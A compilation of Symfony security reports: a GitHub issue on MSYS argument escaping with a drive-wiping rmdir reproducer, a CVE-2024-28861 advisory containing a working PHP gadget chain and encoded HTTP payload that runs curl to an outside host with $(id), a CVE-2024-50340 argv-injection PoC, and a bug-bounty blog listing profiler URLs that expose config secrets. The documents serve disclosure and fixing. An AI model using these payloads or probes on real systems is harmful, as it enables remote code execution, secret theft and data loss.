

Please take note of this various security reports.

1

[Skip to content](#)
[Navigation Menu](#)

[Sign in](#)
[symfony](#)

/

[symfony](#)

[Public](#)

[Code](#)

[Issues](#)

289

[Pull requests](#)

207

[Discussions](#)

[Process] Escaping issues with MSYS #62921

Closed

Closed

[Process] Escaping issues with MSYS

#62921

[Labels](#)

[Bug](#)

[Process](#)

Status: Needs Review

[Description](#)

@Seldaek

Seldaek

opened on Jan 3 · edited by Seldaek

[Member](#)

Symfony version(s) affected

5.4+

[Description](#)

Found this via composer/composer#11568

It seems like

`symfony/src/Symfony/Component/Process/Process.php`

Line 1662 in 3613fbc

```
if (!preg_match('/[()!%^"<>&|s]/', $argument)) {
```

should perhaps include = in the special characters that need escaping, to make things safer for Windows/MSYS users.

Report from Claude's analysis below

I've completed a deep investigation into issue composer/composer#11568 and identified the exact mechanism causing this catastrophic bug. Here's what I found:

The Triple Failure That Causes Partition Deletion

Symfony Process Escaping Flaw (Critical!)

In vendor/symfony/process/Process.php:1648, there's a check for special characters:

```
if (!preg_match('/[()!%^"<>&|s]/', $argument)) {
return $argument; // Returns UNQUOTED!
}
```

The equals sign = is NOT in this list! This means paths like E:/=projects/my_project_name are returned completely unquoted and unescaped.

Command Construction Without Quotes

When the command array ['rmdir', '/S', '/Q', 'E:/=projects/my_project_name'] is converted to a string (Process.php:316-317), it becomes:

```
rmdir /S /Q E:/=projects/my_project_name
```

No quotes around the path because the equals sign wasn't detected as special!

MSYS2 Path Corruption (Git Bash Specific)

When this unquoted command executes in Git Bash:

MSYS2's automatic path conversion activates for native Windows executables

The equals sign acts as an argument separator in MSYS2's path parsing

Path E:/=projects/my_project_name gets split/corrupted at the =

Command becomes something like: rmdir /S /Q E:/

The /S (recursive) and /Q (quiet) flags cause entire partition deletion

Why Safety Checks Don't Help

The existing safety check in Filesystem.php:189-191 only prevents deletion of paths like C:/ or /. It runs BEFORE command execution. The path corruption happens DURING execution when MSYS2 intercepts and mangles the command.

Why Only Git Bash?

cmd.exe: No MSYS2 layer, handles command directly ✓

PowerShell: Different argument parsing, no MSYS2 ✓

Git Bash: Uses MSYS2 runtime with automatic path conversion ✗

Research Evidence

From the <https://www.msys2.org/docs/filesystem-paths/> and [msys2/msys2-runtime#152](https://www.msys2.org/docs/msys2-runtime/#152):

MSYS2 translates paths when calling native Windows binaries

Arguments with equals signs require special handling via `MSYS2_ARG_CONV_EXCL`

Path conversion can cause Bad address on some path conversions

[msys2/MSYS2-packages#2282](https://www.msys2.org/docs/msys2-packages/#2282)

The equals sign has <https://www.msys2.org/docs/filesystem-paths/>

How to reproduce

Working on a repro script.. If I get one confirmed I'll edit.

Possible Solution

No response

Additional Context

No response

Activity

Seldaek

added

Bug

on Jan 3

carsonbot

added

Process

Status: Needs Review

on Jan 3

ayyoub-afwallah

mentioned this on Jan 4

[Process] Fix escaping of arguments with equal signs on Windows #62924

Seldaek commented on Jan 4

@Seldaek

Seldaek

on Jan 4 · edited by Seldaek

Member

Author

Some more infos from making Claude digging more into this..

The equals sign (=) is the most critical missing character, but at minimum, Symfony should also escape:

Priority 1 (Critical):

= - Causes MSYS2 path corruption

; - Enables command injection

* - Dangerous wildcard expansion

? - Dangerous wildcard expansion

Priority 2 (Recommended):

[] - Character class expansion

' - Quote escaping issues

\$ - Variable expansion (especially if targeting bash)

I see #62924 now has an allow list of A-Za-z0-9._- which I guess works.

nicolas-grekas commented on Jan 5

@nicolas-grekas

nicolas-grekas

on Jan 5

Member

I cannot reproduce this issue. Since we're in an LLM-fight, the ChatGPT explanation is:

MSYS argument conversion only occurs when launching native Windows executables from an MSYS shell.

Processes spawned via PHP / CreateProcess bypass MSYS entirely

Until this can be reproduced, I'd consider this as a bogus report ;)

nicolas-grekas commented on Jan 5

@nicolas-grekas

nicolas-grekas

on Jan 5 · edited by nicolas-grekas

Member

My tentative reproducer BTW is running this with a php.exe from git bash:

```
use Symfony\Component\Process\Process;
```

```
require_once __DIR__.'./vendor/autoload.php';
```

```
$p = new Process([  
    'cmd.exe',  
    '/c',  
    'echo',  
    'C:/=projects/my_project_name',  
]);
```

```
$p->run();  
echo $p->getOutput();  
Seldaek commented on Jan 21  
@Seldaek  
Seldaek  
on Jan 21  
Member  
Author
```

I can reproduce it by running this within a Git Bash instance (cwd is on C: drive):

```
<?php
```

```
use Symfony\Component\Process\Process;
```

```
require_once __DIR__.'./vendor/autoload.php';
```

```
$p = new Process([  
    'rmdir', '/S', '/Q', 'E:\=test\my_project_name\vendor\composer\50e47258',  
]);
```

```
$p->run();  
echo $p->getOutput();  
WARNING This wipes ALL files on E:\, so don't try this with C:\ as PATH.
```

And I can confirm the patch at #62924 "fixes" it in that it doesn't delete anymore.. but it also doesn't work at all anymore because it also escapes the /S /Q flags.

I can also confirm running with a path like E:\foo\=bar it only wipes the contents of E:\foo, so it really seems to be the = that triggers the problem.

If I run with baseline symfony/process I get this:

```
string(226) ""C:\Windows\system32\cmd.exe" /V:ON /E:ON /D /C (rmdir /S /Q  
E:\sub\=projects\my_project_name)  
1>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.out"  
2>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.err""
```

If I run with #62924 I get this as command:

```
string(232) ""C:\Windows\system32\cmd.exe" /V:ON /E:ON /D /C (rmdir "/S" "/Q"
"E:\sub\=projects\my_project_name")
```

```
1>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.out"
```

```
2>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.err""
```

And the output is then (as explained above, escaped /S breaks it as it thinks it's a path to remove):

The system cannot find the file specified.

The system cannot find the file specified.

The directory is not empty.

If I change the patch to contain a slash as allowed character like this:

```
if (!preg_match('{^[A-Za-z0-9._/-]}', $argument)) {
```

Then it works fine, without deleting anything, and I get this command:

```
string(228) ""C:\Windows\system32\cmd.exe" /V:ON /E:ON /D /C (rmdir /S /Q
```

```
"E:\sub\=projects\my_project_name")
```

```
1>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.out"
```

```
2>"C:\Users\WDAGUtilityAccount\AppData\Local\Temp\sف_proc_00.err""
```

I'm not sure however if this is a complete fix, or if it will mess up in other cases. It seems to be an improvement for sure tho.

And we could probably do the more cautious patch and just add = to the current regex like:

```
if (!preg_match('/[()!^"<>&|s=]/', $argument)) {
```

nicolas-grekas commented on Jan 23

@nicolas-grekas

nicolas-grekas

on Jan 23 · edited by nicolas-grekas

Member

Got it.

Here is a safe reproducer:

```
#!/usr/bin/env php
```

```
<?php
```

```
use Symfony\Component\Process\Process;
```

```
require_once __DIR__.'\vendor/autoload.php';
```

```
file_put_contents('foo.txt', 'This is a test file.');
```

```
$p = new Process([
    'type', substr_replace(getcwd(), '=foo.txt', 2),
]);
```

```
$p->mustRun();
echo $p->getOutput();
```

And the fix:

```
--- a/src/Symfony/Component/Process/Process.php
+++ b/src/Symfony/Component/Process/Process.php
@@ -1574,7 +1574,7 @@ class Process implements \IteratorAggregate
     if (str_contains($argument, "\0")) {
         $argument = str_replace("\0", '?', $argument);
     }
-    if (!preg_match('/[()!^"<>&|s]/', $argument)) {
+    if (!preg_match('/[()!^"<>&|s[]=;*?\'$]/', $argument)) {
         return $argument;
     }
 }
```

nicolas-grekas
mentioned this on Jan 23
[Process] Fix escaping for MSYS on Windows #63164

nicolas-grekas
added a commit that references this issue on Jan 26
bug #63164 [Process] Fix escaping for MSYS on Windows (nicolas-grekas)

3520393

nicolas-grekas
closed this as completed on Jan 26
to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

Labels

Bug

Process

Status: Needs Review

Type

No type

Projects

No projects

Milestone

No milestone
Relationships
None yet
Development
No branches or pull requests
Participants
@Seldaek
@nicolas-grekas
@carsonbot
Issue actions
Footer
© 2026 GitHub, Inc.
Footer navigation
Terms
Privacy
Security
Status
Community
Docs
Contact
Manage cookies
Do not share my personal information
Copied!

2

Skip to content
Navigation Menu
Sign in
FriendsOfSymfony1
/
symfony1
Public
Code
Issues
30
Pull requests
34

Discussions

Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder

Moderate thePanz published GHSA-pv9j-c53q-h433 on Mar 22, 2024

Package

No package listed

Affected versions

1.1.0 <= 1.5.18

Patched versions

1.5.19

Description

Summary

Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.

Details

This vulnerability present no direct threat but is a vector that will enable remote code execution if a developer deserialize user untrusted data. For example:

```
public function executeIndex(sfWebRequest $request)
{
    $a = unserialize($request->getParameter('user'));
}
```

We will make the assumption this is the case in the rest of this explanation.

Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:

```
public function unserialize($serialized)
{
    $this->__unserialize(unserialize($serialized));
}
```

Which make an array access on the deserialized data without control on the type of the \$data parameter:

```
public function __unserialize($data)
{
    $this->default_namespace = $data[0];
    $this->parameters = $data[1];
}
```

Thus, an attacker provide any object type in \$data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access

which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:

```
public function offsetGet($offset)
{
    $value = isset($this->value[$offset]) ? $this->value[$offset] : null;

    return sfOutputEscaper::escape($this->escapingMethod, $value);
}
```

Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:

```
public static function escape($escapingMethod, $value)
{
    if (null === $value)
    {
        return $value;
    }

    // Scalars are anything other than arrays, objects and resources.
    if (is_scalar($value))
    {
        return call_user_func($escapingMethod, $value);
    }
}
```

Which calls `call_user_func` with previous attacker controlled input.

PoC

So we need the following object to trigger an OS command like `shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");`:

```
object(sfNamespacedParameterHolder)#4 (1) {
  ["prop":protected]=>
  object(sfOutputEscaperArrayDecorator)#3 (2) {
    ["value":protected]=>
    array(1) {
      [0]=>
      string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
    }
    ["escapingMethod":protected]=>
    string(10) "shell_exec"
  }
}
```

We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:

gadgets.php:

```
class sfOutputEscaperArrayDecorator
```

```
{
    protected $value;

    protected $escapingMethod;

    public function __construct($escapingMethod, $value) {
        $this->escapingMethod = $escapingMethod;
        $this->value = $value;
    }
}
```

```
class sfNamespacedParameterHolder implements Serializable
```

```
{
    protected $prop = null;

    public function __construct($prop) {
        $this->prop = $prop;
    }

    public function serialize()
    {
        return serialize($this->prop);
    }

    public function unserialize($serialized)
    {
    }
}
```

chain.php:

```
namespace GadgetChain\Symfony;
```

```
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
```

```
{
    public static $version = '1.1.0 <= 1.5.18';
    public static $vector = 'Serializable';
    public static $author = 'darkpills';
    public static $information = "";
}
```

```

public function generate(array $parameters)
{
    $escaper = new \sfOutputEscaperArrayDecorator($parameters['function'],
array($parameters['parameter']));

    $tableInfo = new \sfNamespacedParameterHolder($escaper);

    return $tableInfo;
}
}

```

And trigger the deserialization with an HTTP request like the following on a dummy test controller:

```

POST /frontend_dev.php/test/index HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

```

```

user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%2
2sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%
3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fczqcqt9v0dowwme
f4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A
%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D

```

Note that CVSS score is not applicable to this kind of vulnerability.

Impact

The attacker can execute any PHP command which leads to remote code execution.

Recommendation

I recommend to add a type checking before doing any processing on the unserialized input like this example:

```

public function unserialize($data)
{
    if (is_array($data)) {
        $this->default_namespace = $data[0];
        $this->parameters = $data[1];
    } else {
        $this->default_namespace = null;
    }
}

```

```
$this->parameters = array();

    // or throw an exception maybe?
}
}
```

This fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.

Severity
Moderate
CVE ID
CVE-2024-28861
Weaknesses
WeaknessCWE-502
Credits
@darkpills darkpills
Reporter
Footer
© 2026 GitHub, Inc.
Footer navigation
Terms
Privacy
Security
Status
Community
Docs
Contact
Manage cookies
Do not share my personal information

3

Skip to content
Navigation Menu
Sign in
Nyamort
/
CVE-2024-50340
Public
Code

Issues

Pull requests

Actions

Projects

Nyamort/CVE-2024-50340

Name

Nyamort

Nyamort

Fix explanation

43e97be

.

2 years ago

README.md

Fix explanation

2 years ago

Repository files navigation

README

CVE-2024-50340 POC

Requirements

The register_argc_argv option must be enabled in the PHP configuration file (php.ini). This setting loads command-line arguments and query params into \$_SERVER['argv'].

<https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv>

Explanation of Vulnerable Code

This Symfony code uses input arguments (ArgvInput) to determine the values of certain environment variables, specifically APP_ENV and APP_DEBUG. Here are the relevant parts of Symfony's code:

```
//Symfony\Component\Runtime\SymfonyRuntime
```

```
$input = new ArgvInput();
```

```
if (isset($this->options['env'])) {  
    return $this->input = $input;  
}
```

```
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {  
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] =  
$_ENV[$this->options['env_var_name']] = $env);  
}
```

```
if ($input->hasParameterOption('--no-debug', true)) {  
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] =  
$_ENV[$this->options['debug_var_name']] = '0');  
}
```

The code above processes arguments provided through ArgvInput. If the --env parameter is specified in argv, it updates the environment variable APP_ENV accordingly. Similarly, if --no-debug is present, it sets APP_DEBUG to 0.

The ArgvInput Class

The ArgvInput class initializes argv parameters passed via the command line, query params or by default, those in \$_SERVER['argv']. The array_shift(\$argv); function removes the first element from the \$argv array (normally the application name) and stores the remaining arguments in \$this->tokens.

```
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}
```

PoC Example

Using the following URL: <http://localhost/?+--env=dev>, we can inject a --env=dev argument into \$_SERVER['argv']. This allows us to change the APP_ENV value to dev without modifying the application's configuration directly.

When accessing <http://localhost/?+--env=dev>, \$_SERVER['argv'] might look like this:

```
$_SERVER['argv'] = ["+--env=dev"];
```

In the ArgvInput class, after the array_shift operation, \$argv becomes:

```
$argv = ["--env=dev"];
```

ArgvInput will then recognize --env=dev as a valid parameter and will update APP_ENV accordingly through the getParameterOption method.

Releases

No releases published

Packages

No packages published

Contributors

1

@Nyamort

Nyamort Nyamort

Footer

© 2026 GitHub, Inc.

Footer navigation

[Terms](#)
[Privacy](#)
[Security](#)
[Status](#)
[Community](#)
[Docs](#)
[Contact](#)
[Manage cookies](#)
[Do not share my personal information](#)

4

[Open in app](#)
[Sign up](#)

[Sign in](#)

[Search](#)

Bug: Multiple Vulnerabilities In Symfony-Profiler (Debug Mode) !![Unauthenticated]
Found High severity vulnerability — Leads to Leakage of Sensitive Information & Provides
Dangerous Features.

Professor.0xx01
Professor.0xx01

[Follow](#)
5 min read

.

May 25, 2024

[Listen](#)

[Share](#)

Press enter or click to view image in full size

Hello fellow Hunters !! Hope you all are doing well.

Intro: I am p_ra_dee_p whom you all know as Professor0xx01, a security researcher passionate about making the web safer. Today I am going to explain you my experience about how i found high severity vulnerability in just 2 mins from reconnaissance. Detected multiple vulnerabilities on a web application that used the Symfony web framework, enabled unauthenticated dashboard view Symfony profiler/debug mode. So, let's jump into it.....!!!!

What is Symfony Profiler?

Symfony Profiler is powerful development tool that gives detailed information about the execution of any request.

Understanding Symfony Profiler & Debug component

The Symfony web framework lies a powerful tool known as Symfony Profiler, designed to enhance development insights. However, this profiler is accessible only when debug mode is activated. Here's the catch: while Symfony is renowned for its robust security features, enabling debug mode can inadvertently expose vulnerabilities. The Symfony web profiler component, when accessible, divulges sensitive information about the web application, opening avenues for exploitation by malicious entities. Moreover, it offers potentially hazardous functionalities that could enable a malicious actor to compromise or even delete crucial files, URLs, or tokens.

Press enter or click to view image in full size

Then why do developers enable Debug Component?

The Debug component in Symfony streamlines the process of debugging PHP code, offering a suite of tools tailored for this purpose. With a variety of features at their disposal, developers find debugging during the development stage considerably smoother. Symfony simplifies this process further by offering three default environments: dev, test, and prod (production). It's worth noting that Symfony advises against enabling profiler tools in the production environment to maintain security. However, oversights can occur, leaving the web application susceptible to vulnerabilities.

Here My Investigation Begins.....

Let's assume the target site is <https://symphony.target.com>. At first i used Wappalyzer (Firefox Addon) what web technologies it's being used.

Then i discovered that it's using "SymFony Web Framework" !!

Press enter or click to view image in full size

Now i start directory enumeration using Dirsearch and found an interesting file which is "app_dev.php". It indicates there might be Debug mode is enabled for Symfony web framework.

Whenever I browsed the URL, I found that there debug mode is enabled publicly without any authentication or access control mechanisms.

Press enter or click to view image in full size

Here you can see into the left, it provides dangerous features to delete any URLs, Tokens or any other section which is running depending onto this web framework.

Now go deeper into it to make more impact !! 

After that, i clicked on the latest Option & in the last section of the drop-down menu, I got the Configuration Option. Going through this, i get phpinfo() with all the details of that web page !!

Press enter or click to view image in full size

After searching some documentation on google, i got that one..... which leads to allow reading files that could expose sensitive information.

Press enter or click to view image in full size

The Symfony Framework Best Practices (Symfony Docs)
Edit this page Symfony provides a sample application called Symfony Demo that follows all these best practices, so you...
symfony.com

Then after browng that endpoint “ app/config/parameters.yml “ i got 404 Not found !!

Get Professor.0xx01's stories in your inbox
Join Medium for free to get updates from this writer.

Enter your email
Subscribe

Remember me for faster sign in

But after surfing into google i got that valid url which looks like this : “
/open?file=app/config/parameters.yml “.

So, instantly i browsed that url.....!!! and..... B000MMM !! I got all database configuration secrets including host, port, database name, username, password, secret token etc.

Press enter or click to view image in full size

Here I have made more impact onto this security issue & got everything about databases.

Now I feel like

Impact :

Exposing credentials poses a significant risk, with ramifications extending to data breaches and system compromises. Such breaches can lead to the erosion of brand reputation and substantial financial losses. Consequently, safeguarding credentials is paramount to mitigating these multifaceted threats effectively.

Mitigation

Disable the debug mode by setting APP_DEBUG to false. Debug mode should be disabled in the production environment / Or apply strong access control mechanisms to access these pages by authorized persons only.

Tips:

If you found a web application that uses the Symfony web framework, do not forget to check debug mode and profiler. It might be developer forget to disable it or it's available publicly.

https://target.com/app_dev.php

https://target.com/_profiler

https://target.com/app_dev.php/_profiler

https://target.com/app_dev.php/_profiler/open?file=app/config/parameters.yml

That's it for this article now !!! Hope you guys all Enjoyed it 🙌🙌 !!

If you like it, then don't forget to clap & follow me for more insightful articles 📅📅 !!

THANKS FOR READING !! follow & support !!

Happy Hacking~~

Keep Learning & Keep Securing~~

See you all soon !! << with more interesting Bug Bounty articles>> !!

#Bug_Hunters #InfoSec_Professionals #Bug_Writers

28

Information Security

Cybersecurity
Indian Cyber Security
Ethical Hacking
Penetration Testing
28

Professor.0xx01

Follow

Written by Professor.0xx01
168 followers

.

24 following

🚩🔴 Ethical Hacker & Pentester 🧑💻 WhiteHat 🌐🚩 Red Teaming 🔴🎯 Security
Researcher 🎓🛡️ Bug Hunter 🐛💰🌐📧 Reach Me: https://depradip.github.io/cyberkid_